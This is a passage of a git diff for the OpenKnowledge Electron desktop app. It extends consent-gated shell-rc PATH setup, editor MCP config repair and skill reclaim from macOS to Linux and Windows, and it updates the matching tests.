platform: 'linux',+ executablePath: '/opt/OpenKnowledge/openknowledge',+ env: { HOME: h, SHELL: '/bin/bash' },+ consentDecision: GRANTED,+ }),+ );+ expect(result.status).toBe('installed');+ expect(readlinkSync(join(h, '.ok', 'bin', 'ok'))).toBe(+ '/opt/OpenKnowledge/resources/cli/bin/ok.sh',+ );+ // Interactive non-login bash on Linux reads ~/.bashrc — the block must+ // land there (not just .bash_profile, which distros source on login+ // shells only).+ expect(readFileSync(join(h, '.bashrc'), 'utf8')).toContain('.ok/env.sh');+ });+test('returns failed-all instead of throwing when an fs operation fails', async () => {const h = home();const enoent = () => Object.assign(new Error('ENOENT'), { code: 'ENOENT' });@@ -417,7 +456,11 @@ describe('ensureCliOnPath', () => {describe('computePathInstallDescriptor', () => {test('fresh zsh machine: touchable rc files listed tildified, nothing installed yet', () => {const h = home();- const descriptor = computePathInstallDescriptor({ home: h, env: { SHELL: '/bin/zsh' } });+ const descriptor = computePathInstallDescriptor({+ home: h,+ platform: 'darwin',+ env: { SHELL: '/bin/zsh' },+ });expect(descriptor).toEqual({shellDetected: true,rcFilesToTouch: ['~/.zshrc', '~/.config/fish/conf.d/open-knowledge.fish'],@@ -428,7 +471,11 @@ describe('computePathInstallDescriptor', () => {test('an existing .bash_profile joins the touch list; a non-zsh shell skips .zshrc creation', () => {const h = home();writeFileSync(join(h, '.bash_profile'), 'export BAR=1\n');- const descriptor = computePathInstallDescriptor({ home: h, env: { SHELL: '/bin/bash' } });+ const descriptor = computePathInstallDescriptor({+ home: h,+ platform: 'darwin',+ env: { SHELL: '/bin/bash' },+ });expect(descriptor.rcFilesToTouch).toEqual(['~/.bash_profile','~/.config/fish/conf.d/open-knowledge.fish',@@ -438,7 +485,11 @@ describe('computePathInstallDescriptor', () => {test('a healthy managed block flips alreadyInstalled', async () => {const h = home();await ensureCliOnPath(baseOpts(h, { consentDecision: GRANTED }));- const descriptor = computePathInstallDescriptor({ home: h, env: { SHELL: '/bin/zsh' } });+ const descriptor = computePathInstallDescriptor({+ home: h,+ platform: 'darwin',+ env: { SHELL: '/bin/zsh' },+ });expect(descriptor.alreadyInstalled).toBe(true);expect(descriptor.shellDetected).toBe(true);});@@ -457,7 +508,11 @@ describe('computePathInstallDescriptor', () => {}),);expect(readFileSync(join(h, '.zshrc'), 'utf8')).toContain('# >>> open-knowledge cli >>>');- const descriptor = computePathInstallDescriptor({ home: h, env: { SHELL: '/bin/zsh' } });+ const descriptor = computePathInstallDescriptor({+ home: h,+ platform: 'darwin',+ env: { SHELL: '/bin/zsh' },+ });expect(descriptor.alreadyInstalled).toBe(true);});@@ -468,7 +523,11 @@ describe('computePathInstallDescriptor', () => {writeFileSync(join(h, '.zshrc'), 'export FOO=1\n');unlinkSync(join(h, '.config', 'fish', 'conf.d', 'open-knowledge.fish'));await ensureCliOnPath(baseOpts(h));- const descriptor = computePathInstallDescriptor({ home: h, env: { SHELL: '/bin/zsh' } });+ const descriptor = computePathInstallDescriptor({+ home: h,+ platform: 'darwin',+ env: { SHELL: '/bin/zsh' },+ });expect(descriptor.rcFilesToTouch).not.toContain('~/.zshrc');expect(descriptor.rcFilesToTouch).not.toContain('~/.config/fish/conf.d/open-knowledge.fish');expect(descriptor.shellDetected).toBe(false);@@ -529,7 +588,7 @@ describe('isPathShimInstalled / removePathShimFromRcFiles — the Settings → Aconst h = home();writeFileSync(join(h, '.zshrc'), 'export FOO=1\n');await ensureCliOnPath(baseOpts(h, { consentDecision: GRANTED }));- removePathShimFromRcFiles({ home: h, env: { SHELL: '/bin/zsh' } });+ removePathShimFromRcFiles({ home: h, platform: 'darwin', env: { SHELL: '/bin/zsh' } });// Undecided startup run: recorded decline wins — rc files stay clean.await ensureCliOnPath(baseOpts(h));@@ -539,7 +598,9 @@ describe('isPathShimInstalled / removePathShimFromRcFiles — the Settings → Aconst regrant = await ensureCliOnPath(baseOpts(h, { consentDecision: GRANTED }));expect(regrant.status).toBe('installed');expect(readFileSync(join(h, '.zshrc'), 'utf8')).toContain('# >>> open-knowledge cli >>>');- expect(isPathShimInstalled({ home: h, env: { SHELL: '/bin/zsh' } })).toBe(true);+ expect(isPathShimInstalled({ home: h, platform: 'darwin', env: { SHELL: '/bin/zsh' } })).toBe(+ true,+ );});test('re-grant works even when the probe shell inherits a stale PATH containing ~/.ok/bin', async () => {@@ -554,14 +615,16 @@ describe('isPathShimInstalled / removePathShimFromRcFiles — the Settings → Astderr: '',});await ensureCliOnPath(baseOpts(h, { consentDecision: GRANTED, spawn: stalePathSpawn }));- removePathShimFromRcFiles({ home: h, env: { SHELL: '/bin/zsh' } });+ removePathShimFromRcFiles({ home: h, platform: 'darwin', env: { SHELL: '/bin/zsh' } });const regrant = await ensureCliOnPath(baseOpts(h, { consentDecision: GRANTED, spawn: stalePathSpawn }),);expect(regrant.status).toBe('installed');expect(readFileSync(join(h, '.zshrc'), 'utf8')).toContain('# >>> open-knowledge cli >>>');- expect(isPathShimInstalled({ home: h, env: { SHELL: '/bin/zsh' } })).toBe(true);+ expect(isPathShimInstalled({ home: h, platform: 'darwin', env: { SHELL: '/bin/zsh' } })).toBe(+ true,+ );});test('a wedged granted-but-blockless marker heals on the next explicit grant', async () => {@@ -571,7 +634,7 @@ describe('isPathShimInstalled / removePathShimFromRcFiles — the Settings → Aconst h = home();writeFileSync(join(h, '.zshrc'), 'export FOO=1\n');await ensureCliOnPath(baseOpts(h, { consentDecision: GRANTED }));- removePathShimFromRcFiles({ home: h, env: { SHELL: '/bin/zsh' } });+ removePathShimFromRcFiles({ home: h, platform: 'darwin', env: { SHELL: '/bin/zsh' } });const marker = readMarkerFile(h);writeFileSync(pathInstallMarkerPath(h),@@ -585,7 +648,11 @@ describe('isPathShimInstalled / removePathShimFromRcFiles — the Settings → Atest('nothing installed and no marker → not-installed no-op', () => {const h = home();- const result = removePathShimFromRcFiles({ home: h, env: { SHELL: '/bin/zsh' } });+ const result = removePathShimFromRcFiles({+ home: h,+ platform: 'darwin',+ env: { SHELL: '/bin/zsh' },+ });expect(result.status).toBe('not-installed');expect(existsSync(pathInstallMarkerPath(h))).toBe(false);});@@ -600,7 +667,11 @@ describe('isPathShimInstalled / removePathShimFromRcFiles — the Settings → AwithBlock.indexOf('# <<< open-knowledge cli <<<') + '# <<< open-knowledge cli <<<\n'.length,);writeFileSync(zshrc, `${withBlock}\n${block}`);- const result = removePathShimFromRcFiles({ home: h, env: { SHELL: '/bin/zsh' } });+ const result = removePathShimFromRcFiles({+ home: h,+ platform: 'darwin',+ env: { SHELL: '/bin/zsh' },+ });expect(result.status).toBe('removed');expect(readFileSync(zshrc, 'utf8')).not.toContain('open-knowledge cli');});diff --git a/packages/desktop/src/main/path-install.ts b/packages/desktop/src/main/path-install.tsindex f7fb412f1..1ec5bc4d4 100644--- a/packages/desktop/src/main/path-install.ts+++ b/packages/desktop/src/main/path-install.ts@@ -26,7 +26,7 @@ import {pathInstallMarkerPath,} from '@inkeep/open-knowledge';import type { McpWiringPathInstallDescriptor } from '../shared/ipc-channels.ts';-import { wrapperPathInBundle } from './bundle-paths.ts';+import { classifyInstallShape } from './install-shape.ts';// Re-exported so existing desktop importers (`main/index.ts`, tests) keep their// `from './path-install.ts'` path even though the definition now lives in cli.@@ -206,10 +206,27 @@ function rcTargets(home: string,shell: string | undefined,fs: PathInstallFsOps,+ // ensureCliOnPath passes its injected opts.platform (tests exercise both+ // OSes from any host); the Settings/descriptor helpers run in-process on+ // the real host, where process.platform is the right answer.+ platform: string = process.platform,): Array<{ path: string; create: boolean; content: string }> {const base = [{ path: join(home, '.zshrc'), create: shell?.endsWith('/zsh') ?? false, content: block() },{ path: join(home, '.bash_profile'), create: false, content: block() },+ // Linux interactive non-login bash reads ~/.bashrc, not ~/.bash_profile+ // (which most distros source only on login shells). Kept off macOS so+ // the shipping darwin behavior — never touching a mac user's .bashrc —+ // is unchanged.+ ...(platform === 'linux'+ ? [+ {+ path: join(home, '.bashrc'),+ create: shell?.endsWith('/bash') ?? false,+ content: block(),+ },+ ]+ : []),{path: join(home, '.config', 'fish', 'conf.d', 'open-knowledge.fish'),create: true,@@ -362,7 +379,10 @@ async function discoverRealInteractivePath(opts: EnsureCliOnPathOpts,): Promise<PathDiscovery | null> {const env = opts.env ?? process.env;- const shell = env.SHELL ?? '/bin/zsh';+ // $SHELL is set by every login environment we care about; the fallback is+ // only for stripped launch contexts — zsh has been the macOS default since+ // Catalina, bash is the near-universal Linux default.+ const shell = env.SHELL ?? (opts.platform === 'linux' ? '/bin/bash' : '/bin/zsh');const spawn = opts.spawn ?? defaultSpawn;const logger = opts.logger ?? DEFAULT_LOGGER;try {@@ -460,12 +480,22 @@ export async function ensureCliOnPath(opts: EnsureCliOnPathOpts): Promise<Ensurelogger = DEFAULT_LOGGER,} = opts;if (reclaimDisableEnv === '1') return { status: 'skipped', reason: 'reclaim-disabled' };- if (platform !== 'darwin') return { status: 'skipped', reason: 'platform' };+ // Windows PATH is the installer's job (installer-owned Windows PATH): the NSIS include appends the+ // wrapper dir to the HKCU user PATH at install and removes it at+ // uninstall. The rc-file + ~/.ok/bin symlink machinery below is+ // POSIX-only, so this module never runs there.+ if (platform === 'win32') return { status: 'skipped', reason: 'installer-managed' };+ if (platform !== 'darwin' && platform !== 'linux')+ return { status: 'skipped', reason: 'platform' };if (!isPackaged && forceEnv !== '1') return { status: 'skipped', reason: 'dev-mode' };- if (!/\.app\/Contents\/MacOS\/[^/]+$/.test(executablePath))- return { status: 'skipped', reason: 'bad-executable-path' };-- const wrapper = wrapperPathInBundle(executablePath);+ const shape = classifyInstallShape(platform, executablePath, opts.env ?? process.env);+ // AppImage mounts relocate every launch — a ~/.ok/bin symlink into the+ // mount would be dead by next boot. deb (and unpacked-dir) installs are+ // the Linux PATH-install surface; AppImage users get the npm CLI hint.+ if (shape.kind === 'appimage') return { status: 'skipped', reason: 'appimage-ephemeral' };+ if (shape.kind === 'unsupported') return { status: 'skipped', reason: 'bad-executable-path' };++ const wrapper = shape.wrapperPath;const prior = readMarker(home, fs, logger);// ANY caller-supplied decision must reach the full install path. The// fast-path below would otherwise swallow a grant on a marker that is@@ -549,7 +579,7 @@ export async function ensureCliOnPath(opts: EnsureCliOnPathOpts): Promise<Ensurefor (const file of newOptOuts) {logger.event({ event: 'path-install-rc-opt-out', path: file });}- const targets = rcTargets(home, (opts.env ?? process.env).SHELL, fs).filter(+ const targets = rcTargets(home, (opts.env ?? process.env).SHELL, fs, platform).filter((target) => !rcOptOuts.includes(target.path),);const activePriorRcFiles = (prior?.rcFiles ?? []).filter((file) => !rcOptOuts.includes(file));@@ -668,13 +698,15 @@ export async function ensureCliOnPath(opts: EnsureCliOnPathOpts): Promise<Ensureexport function computePathInstallDescriptor(opts: {home: string;env?: Record<string, string | undefined>;+ /** Rc-target platform. Defaults to the real host; tests pin it. */+ platform?: string;fs?: PathInstallFsOps;logger?: PathInstallLogger;}): McpWiringPathInstallDescriptor {const { home, fs = defaultFsOps, logger = DEFAULT_LOGGER } = opts;const marker = readMarker(home, fs, logger);const rcOptOuts = marker?.rcOptOuts ?? [];- const targets = rcTargets(home, (opts.env ?? process.env).SHELL, fs).filter(+ const targets = rcTargets(home, (opts.env ?? process.env).SHELL, fs, opts.platform).filter((target) => !rcOptOuts.includes(target.path),);const candidates = new Set<string>([@@ -699,13 +731,17 @@ export function computePathInstallDescriptor(opts: {export function isPathShimInstalled(opts: {home: string;env?: Record<string, string | undefined>;+ /** Rc-target platform. Defaults to the real host; tests pin it. */+ platform?: string;fs?: PathInstallFsOps;logger?: PathInstallLogger;}): boolean {const { home, fs = defaultFsOps, logger = DEFAULT_LOGGER } = opts;const marker = readMarker(home, fs, logger);const candidates = new Set<string>([- ...rcTargets(home, (opts.env ?? process.env).SHELL, fs).map((target) => target.path),+ ...rcTargets(home, (opts.env ?? process.env).SHELL, fs, opts.platform).map(+ (target) => target.path,+ ),...(marker?.rcFiles ?? []),]);return [...candidates].some((path) => rcBlockHealthy(path, fs));@@ -735,6 +771,8 @@ export type RemovePathShimResult =export function removePathShimFromRcFiles(opts: {home: string;env?: Record<string, string | undefined>;+ /** Rc-target platform. Defaults to the real host; tests pin it. */+ platform?: string;fs?: PathInstallFsOps;logger?: PathInstallLogger;now?: () => Date;@@ -742,7 +780,9 @@ export function removePathShimFromRcFiles(opts: {const { home, fs = defaultFsOps, logger = DEFAULT_LOGGER } = opts;const marker = readMarker(home, fs, logger);const candidates = new Set<string>([- ...rcTargets(home, (opts.env ?? process.env).SHELL, fs).map((target) => target.path),+ ...rcTargets(home, (opts.env ?? process.env).SHELL, fs, opts.platform).map(+ (target) => target.path,+ ),...(marker?.rcFiles ?? []),]);const okOwnedFishConf = join(home, '.config', 'fish', 'conf.d', 'open-knowledge.fish');diff --git a/packages/desktop/src/main/project-mcp-reclaim.test.ts b/packages/desktop/src/main/project-mcp-reclaim.test.tsindex 0319a2f15..fc34a5bdc 100644--- a/packages/desktop/src/main/project-mcp-reclaim.test.ts+++ b/packages/desktop/src/main/project-mcp-reclaim.test.ts@@ -1,10 +1,10 @@-import { describe, expect, test } from 'bun:test';import {buildManagedServerEntry,type EditorMcpTarget,type McpDeclineReason,type McpEntryClassification,} from '@inkeep/open-knowledge';+import { describe, expect, test } from 'vitest';import type { McpWiringEditorId } from '../shared/ipc-channels.ts';import {checkAndRepairProjectMcpOnProjectOpen,@@ -71,17 +71,18 @@ function buildCli(}describe('checkAndRepairProjectMcpOnProjectOpen', () => {- test('skipped on non-darwin', async () => {+ test('skipped on AppImage launches (ephemeral mount path)', async () => {const { cli } = buildCli({});const r = await checkAndRepairProjectMcpOnProjectOpen({projectDir: '/p',- executablePath: EXE,+ executablePath: '/tmp/.mount_okXYZ/openknowledge',isPackaged: true,platform: 'linux',+ env: { APPIMAGE: '/home/u/OK.AppImage' },cli,});expect(r.status).toBe('skipped');- if (r.status === 'skipped') expect(r.reason).toBe('platform');+ if (r.status === 'skipped') expect(r.reason).toBe('appimage-ephemeral');});test('skipped when reclaim disabled', async () => {@@ -97,6 +98,31 @@ describe('checkAndRepairProjectMcpOnProjectOpen', () => {expect(r.status).toBe('skipped');});+ for (const [platform, exe] of [+ ['linux', '/opt/OpenKnowledge/openknowledge'],+ ['win32', 'C:\\Users\\u\\AppData\\Local\\Programs\\OpenKnowledge\\OpenKnowledge.exe'],+ ] as const) {+ test(`${platform} packaged install runs the repair cycle to done`, async () => {+ // The classifier admits the NSIS / deb layouts (windows-linux-port+ // Tier B) — the repair cycle itself is platform-parameterized via the+ // CLI's editors.ts, so 'done' here proves the gate, not new logic.+ const { cli } = buildCli({+ claude: {+ target: fakeTarget('claude' as McpWiringEditorId, '/p/.mcp.json'),+ classification: { kind: 'absent' },+ },+ });+ const r = await checkAndRepairProjectMcpOnProjectOpen({+ projectDir: '/p',+ executablePath: exe,+ isPackaged: true,+ platform,+ cli,+ });+ expect(r.status).toBe('done');+ });+ }+test('editors without projectConfigPath report unsupported', async () => {const { cli, writes } = buildCli({'claude-desktop': { target: fakeTarget('claude-desktop' as McpWiringEditorId) },diff --git a/packages/desktop/src/main/project-mcp-reclaim.ts b/packages/desktop/src/main/project-mcp-reclaim.tsindex 1e6325741..b8f19d053 100644--- a/packages/desktop/src/main/project-mcp-reclaim.ts+++ b/packages/desktop/src/main/project-mcp-reclaim.ts@@ -15,6 +15,7 @@ import {truncatePriorEntry,} from '@inkeep/open-knowledge';import type { McpWiringEditorId } from '../shared/ipc-channels.ts';+import { classifyInstallShape } from './install-shape.ts';interface ProjectMcpReclaimLogger {event(payload: { event: string; [key: string]: unknown }): void;@@ -70,6 +71,8 @@ interface CheckAndRepairProjectMcpOpts {executablePath: string;isPackaged: boolean;platform: 'darwin' | 'win32' | 'linux' | string;+ /** Env for install-shape classification (AppImage detection). Defaults to `process.env`. */+ env?: Record<string, string | undefined>;cli: ProjectMcpReclaimCliSurface;forceEnv?: string | null | undefined;reclaimDisableEnv?: string | null | undefined;@@ -90,9 +93,15 @@ export async function checkAndRepairProjectMcpOnProjectOpen(logger = DEFAULT_LOGGER,} = opts;if (reclaimDisableEnv === '1') return { status: 'skipped', reason: 'reclaim-disabled' };- if (platform !== 'darwin') return { status: 'skipped', reason: 'platform' };if (!isPackaged && forceEnv !== '1') return { status: 'skipped', reason: 'dev-mode' };- if (!/\.app\/Contents\/MacOS\/[^/]+$/.test(executablePath)) {+ // Supported packaged layouts only (darwin bundle / NSIS / linux dir —+ // install-shape.ts). AppImage declines: its ephemeral mount path must+ // never be persisted into user or project config.+ const installShape = classifyInstallShape(platform, executablePath, opts.env ?? process.env);+ if (installShape.kind === 'appimage') {+ return { status: 'skipped', reason: 'appimage-ephemeral' };+ }+ if (installShape.kind === 'unsupported') {return { status: 'skipped', reason: 'bad-executable-path' };}diff --git a/packages/desktop/src/main/resolve-detached-spawn-args.test.ts b/packages/desktop/src/main/resolve-detached-spawn-args.test.tsindex c9648fb90..390f00696 100644--- a/packages/desktop/src/main/resolve-detached-spawn-args.test.ts+++ b/packages/desktop/src/main/resolve-detached-spawn-args.test.ts@@ -97,6 +97,37 @@ describe('resolveDetachedSpawnArgs', () => {expect(segments).toContain('C:\\Windows\\System32');});+ // Regression: on real Windows `process.env` exposes the search path as `Path`,+ // NOT `PATH`. A case-sensitive `env.PATH` read returned undefined, collapsing+ // the spawned server's PATH to git dirs only — dropping C:\Windows\System32,+ // which made `reg` (handoff install-detect) and `rundll32` (protocol dispatch)+ // fail ENOENT. Result: "Open with Claude/Cursor" silently no-ops on desktop.+ test('win32 → inherited PATH is read case-insensitively (`Path` key) so System32 survives', () => {+ const { opts } = resolveDetachedSpawnArgs(+ makeInput({+ platform: 'win32',+ env: { Path: 'C:\\Windows;C:\\Windows\\System32', SystemRoot: 'C:\\Windows' },+ }),+ );+ const segments = (opts.env?.PATH ?? '').split(';');+ expect(segments).toContain('C:\\Windows\\System32');+ expect(segments).toContain('C:\\Windows');+ expect(segments[0]).toBe('C:\\Program Files\\Git\\cmd');+ });++ // The child must receive exactly one search-path key. Two case-variants+ // (`Path` from the inherited spread + `PATH` from enrichment) leave libuv to+ // pick one non-deterministically — either drops enrichment or System32.+ test('win32 → emits exactly one canonical PATH key (no `Path`/`PATH` collision)', () => {+ const { opts } = resolveDetachedSpawnArgs(+ makeInput({ platform: 'win32', env: { Path: 'C:\\Windows\\System32', FOO: 'bar' } }),+ );+ const pathKeys = Object.keys(opts.env ?? {}).filter((k) => /^path$/i.test(k));+ expect(pathKeys).toEqual(['PATH']);+ expect(opts.env?.PATH?.split(';')).toContain('C:\\Windows\\System32');+ expect(opts.env?.FOO).toBe('bar');+ });+test('enriched PATH deduplicates dirs already present in inherited PATH', () => {// `/usr/bin` and `/snap/bin` appear in both the Linux fallback set and// the inherited PATH — each must appear exactly once in the enricheddiff --git a/packages/desktop/src/main/resolve-detached-spawn-args.ts b/packages/desktop/src/main/resolve-detached-spawn-args.tsindex 16306f777..b9b1e6b54 100644--- a/packages/desktop/src/main/resolve-detached-spawn-args.ts+++ b/packages/desktop/src/main/resolve-detached-spawn-args.ts@@ -96,6 +96,28 @@ function gitEnrichmentDirs(platform: NodeJS.Platform): readonly string[] {return fallbackPaths(platform).map((p) => dn(p));}+/** Match the search-path env var name in any case — Windows uses `Path`, POSIX `PATH`. */+function isPathKey(key: string): boolean {+ return /^path$/i.test(key);+}++/**+ * Read the search-path value from an env map case-insensitively. Windows'+ * `process.env` exposes the variable as `Path`, so a direct `env.PATH` read+ * misses it and returns `undefined` — which silently collapses the spawned+ * server's PATH to only the git-enrichment dirs, dropping `C:\Windows\System32`.+ * Every server-side spawn of a System32 tool then fails ENOENT: `reg` (handoff+ * install-detection), `rundll32` (protocol-URL dispatch), and `cmd.exe`/`where`+ * (Cursor spawn) — surfacing as "Open with Claude/Cursor silently does nothing"+ * on the Windows desktop.+ */+function readEnvPath(env: Readonly<Record<string, string | undefined>>): string | undefined {+ for (const key of Object.keys(env)) {+ if (isPathKey(key)) return env[key];+ }+ return undefined;+}+/*** Prepend `gitEnrichmentDirs(platform)` to the inherited PATH and de-duplicate,* preserving the original PATH order at the tail. Closes the Cursor-class@@ -180,16 +202,32 @@ export function resolveDetachedSpawnArgs(: []),];+ // Read the inherited PATH case-insensitively (Windows key is `Path`) and emit+ // exactly one canonical `PATH` key: strip every case-variant from the spread+ // so libuv never has to break a `Path`-vs-`PATH` tie — otherwise the child can+ // inherit the un-enriched original PATH (losing the git dirs) or, worse, the+ // git-only PATH (losing System32). See `readEnvPath` for the failure it fixes.+ const inheritedPath = readEnvPath(env);+ const envWithoutPath: Record<string, string | undefined> = {};+ for (const [key, value] of Object.entries(env)) {+ if (!isPathKey(key)) envWithoutPath[key] = value;+ }+const opts: SpawnOptions = {env: {- ...env,- PATH: buildEnrichedPath(platform, env.PATH),+ ...envWithoutPath,+ PATH: buildEnrichedPath(platform, inheritedPath),ELECTRON_RUN_AS_NODE: '1',OK_LOCK_KIND: 'interactive',},detached: true,stdio: ['ignore', 'ignore', spawnErrorLogFd],cwd: projectRoot,+ // Repo-wide every-spawn discipline. Node ignores windowsHide when+ // `detached: true` (nodejs/node#21825), but the spawned binary is+ // Electron (GUI subsystem — allocates no console), so no console window+ // appears either way; verify on the Windows VM (A3 spike).+ windowsHide: true,};return { file, args, opts };diff --git a/packages/desktop/src/main/skill-reclaim.test.ts b/packages/desktop/src/main/skill-reclaim.test.tsindex 0722e82ee..211c2ac1f 100644--- a/packages/desktop/src/main/skill-reclaim.test.ts+++ b/packages/desktop/src/main/skill-reclaim.test.ts@@ -1,4 +1,3 @@-import { afterEach, describe, expect, test } from 'bun:test';import {existsSync,mkdirSync,@@ -10,6 +9,7 @@ import {} from 'node:fs';import { tmpdir } from 'node:os';import { join } from 'node:path';+import { afterEach, describe, expect, test } from 'vitest';import { reclaimProjectSkillsOnProjectOpen, reclaimUserSkillsOnLaunch } from './skill-reclaim.ts';const EXE = '/Applications/OpenKnowledge.app/Contents/MacOS/OpenKnowledge';@@ -166,17 +166,38 @@ function makeDeps(opts: {}describe('reclaimUserSkillsOnLaunch', () => {- test('skipped on non-darwin', async () => {+ test('skipped on AppImage launches (ephemeral mount path)', async () => {const home = makeHome();const deps = makeDeps({ bundle: setupBundle() });+ // AppImage launches decline every persistent-path integration — the+ // squashfs mount in executablePath is dead by next boot.const r = await reclaimUserSkillsOnLaunch({home,isPackaged: true,platform: 'linux',- executablePath: EXE,+ executablePath: '/tmp/.mount_okXYZ/openknowledge',+ env: { APPIMAGE: '/home/u/OK.AppImage' },deps,});expect(r.status).toBe('skipped');+ if (r.status === 'skipped') expect(r.reason).toBe('appimage-ephemeral');+ });++ test('linux deb install reaches done through the install-shape gate', async () => {+ const home = makeHome();+ const bundle = setupBundle();+ const deps = makeDeps({ bundle, version: '1.0.0' });+ const r = await reclaimUserSkillsOnLaunch({+ home,+ isPackaged: true,+ platform: 'linux',+ executablePath: '/opt/OpenKnowledge/openknowledge',+ deps,+ });+ expect(r.status).toBe('done');+ expect(+ existsSync(join(home, '.agents', 'skills', 'open-knowledge-discovery', 'SKILL.md')),+ ).toBe(true);});test('central store always force-written even when nothing existed', async () => {@@ -569,17 +590,19 @@ describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {});describe('reclaimProjectSkillsOnProjectOpen', () => {- test('skipped on non-darwin', async () => {+ test('skipped on AppImage launches (ephemeral mount path)', async () => {const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));cleanupPaths.push(projectDir);const r = await reclaimProjectSkillsOnProjectOpen({projectDir,- executablePath: EXE,+ executablePath: '/tmp/.mount_okXYZ/openknowledge',isPackaged: true,platform: 'linux',+ env: { APPIMAGE: '/home/u/OK.AppImage' },deps: { resolveBundledSkillDir: () => setupBundle() },});expect(r.status).toBe('skipped');+ if (r.status === 'skipped') expect(r.reason).toBe('appimage-ephemeral');});test('no SKILL.md on disk → no-token, no creation', async () => {diff --git a/packages/desktop/src/main/skill-reclaim.ts b/packages/desktop/src/main/skill-reclaim.tsindex 3c6058432..2efec83dc 100644--- a/packages/desktop/src/main/skill-reclaim.ts+++ b/packages/desktop/src/main/skill-reclaim.ts@@ -58,6 +58,7 @@ import {HOSTS_WITH_USER_SKILL_DIR,} from '@inkeep/open-knowledge';import { resolveBundleEnabled } from '@inkeep/open-knowledge-core';+import { classifyInstallShape } from './install-shape.ts';interface SkillReclaimLogger {event(payload: { event: string; [key: string]: unknown }): void;@@ -82,20 +83,18 @@ const DEFAULT_LOGGER: SkillReclaimLogger = {* in both the JSON (`.mcp.json`, `.cursor/mcp.json`) and TOML* (`.codex/config.toml`) on-disk forms. The `createIfWired` gate treats its* presence in an editor's project config as proof the editor is wired for this- * OK project. Same string as `CHAIN_VERSION_SENTINEL` in the CLI's `editors.ts`,- * kept as a local copy because that sentinel is `@internal` and deliberately- * not re-exported from `@inkeep/open-knowledge`; if it ever bumps (`v2`, …),- * update this copy in the same change.- */-const OK_MCP_MARKER = '# ok-mcp-v1';--/**- * Windows sibling of `OK_MCP_MARKER` (`CHAIN_WIN_VERSION_SENTINEL` in the- * CLI's `editors.ts`) — same local-copy rule as above. A shared project- * config written by a Windows teammate carries this sentinel instead; both- * count as "wired for OK".+ * OK project.+ *+ * Version-INDEPENDENT family prefix of the CLI's `CHAIN_VERSION_SENTINEL` /+ * `CHAIN_WIN_VERSION_SENTINEL` (both in `editors.ts`, `@internal` and+ * deliberately not re-exported — hence this local copy). "Wired at all" must+ * survive a sentinel bump: a project wired under `# ok-mcp-v1` is still wired+ * after the chain moves to `v2` (the entry upgrades lazily via the repair+ * sweep), and `# ok-mcp-win-…` shares the prefix, so one marker covers both+ * platforms and every version. Same shape as `OK_MCP_MARKER_PREFIX` in+ * `worktree-setup-inherit.ts`.*/-const OK_MCP_WIN_MARKER = '# ok-mcp-win-v1';+const OK_MCP_MARKER = '# ok-mcp-';/*** Project-local install dir name. The rich `project` bundle keeps@@ -235,8 +234,10 @@ interface ReclaimUserSkillsOpts {home: string;isPackaged: boolean;platform: 'darwin' | 'win32' | 'linux' | string;- /** `app.getPath('exe')` — must match `.app/Contents/MacOS/<name>` in production. */+ /** `app.getPath('exe')` — must match a supported packaged layout (`install-shape.ts`). */executablePath: string;+ /** Env for install-shape classification (AppImage detection). Defaults to `process.env`. */+ env?: Record<string, string | undefined>;forceEnv?: string | null | undefined;reclaimDisableEnv?: string | null | undefined;/** DI for cross-package primitives so unit tests can substitute. */@@ -398,9 +399,15 @@ export async function reclaimUserSkillsOnLaunch(const nowDate = (): Date => (now ? now() : new Date());if (reclaimDisableEnv === '1') return { status: 'skipped', reason: 'reclaim-disabled' };- if (platform !== 'darwin') return { status: 'skipped', reason: 'platform' };if (!isPackaged && forceEnv !== '1') return { status: 'skipped', reason: 'dev-mode' };- if (!/\.app\/Contents\/MacOS\/[^/]+$/.test(executablePath)) {+ // Supported packaged layouts only (darwin bundle / NSIS / linux dir —+ // install-shape.ts). AppImage declines: its ephemeral mount path must+ // never be persisted into user or project config.+ const installShape = classifyInstallShape(platform, executablePath, opts.env ?? process.env);+ if (installShape.kind === 'appimage') {+ return { status: 'skipped', reason: 'appimage-ephemeral' };+ }+ if (installShape.kind === 'unsupported') {return { status: 'skipped', reason: 'bad-executable-path' };}@@ -585,6 +592,8 @@ interface ReclaimProjectSkillsOpts {executablePath: string;isPackaged: boolean;platform: 'darwin' | 'win32' | 'linux' | string;+ /** Env for install-shape classification (AppImage detection). Defaults to `process.env`. */+ env?: Record<string, string | undefined>;forceEnv?: string | null | undefined;reclaimDisableEnv?: string | null | undefined;/**@@ -622,7 +631,7 @@ function editorWiredForOk(configPath: string | undefined, fs: SkillFsOps): booletry {if (!fs.existsSync(configPath)) return false;const bytes = fs.readFileSync(configPath).toString('utf8');- return bytes.includes(OK_MCP_MARKER) || bytes.includes(OK_MCP_WIN_MARKER);+ return bytes.includes(OK_MCP_MARKER);} catch {return false;}@@ -653,9 +662,15 @@ export async function reclaimProjectSkillsOnProjectOpen(} = opts;if (reclaimDisableEnv === '1') return { status: 'skipped', reason: 'reclaim-disabled' };- if (platform !== 'darwin') return { status: 'skipped', reason: 'platform' };if (!isPackaged && forceEnv !== '1') return { status: 'skipped', reason: 'dev-mode' };- if (!/\.app\/Contents\/MacOS\/[^/]+$/.test(executablePath)) {+ // Supported packaged layouts only (darwin bundle / NSIS / linux dir —+ // install-shape.ts). AppImage declines: its ephemeral mount path must+ // never be persisted into user or project config.+ const installShape = classifyInstallShape(platform, executablePath, opts.env ?? process.env);+ if (installShape.kind === 'appimage') {+ return { status: 'skipped', reason: 'appimage-ephemeral' };+ }+ if (installShape.kind === 'unsupported') {return { status: 'skipped', reason: 'bad-executable-path' };}diff --git a/packages/desktop/src/main/url-scheme.ts b/packages/desktop/src/main/url-scheme.tsindex 3666f17b3..4b4d3cbed 100644--- a/packages/desktop/src/main/url-scheme.ts+++ b/packages/desktop/src/main/url-scheme.ts@@ -894,6 +894,28 @@ export function registerProtocolHandler(deps: ProtocolHandlerDeps): ProtocolHand} catch (err) {deps.log?.warn({ err }, '[url-scheme] setAsDefaultProtocolClient failed');}+ } else if (platform !== 'darwin') {+ // Packaged Windows/Linux self-heal (windows-linux-port deep-link posture).+ // Unlike macOS (where LaunchServices owns the CFBundleURLTypes binding+ // installed with the .app), Windows resolves the scheme from+ // HKCU\Software\Classes and Linux from the .desktop database — both+ // user-mutable and installer-dependent (the NSIS include writes the+ // registry keys; deb's .desktop carries the MimeType; AppImage has no+ // install step at all, see appimage-integration.ts). Re-asserting at+ // every boot repairs a stale binding after the install moves, another+ // app steals the scheme, or the installer-time registration was lost.+ // No before-quit removal here — a packaged install keeps its binding.+ try {+ const ok = 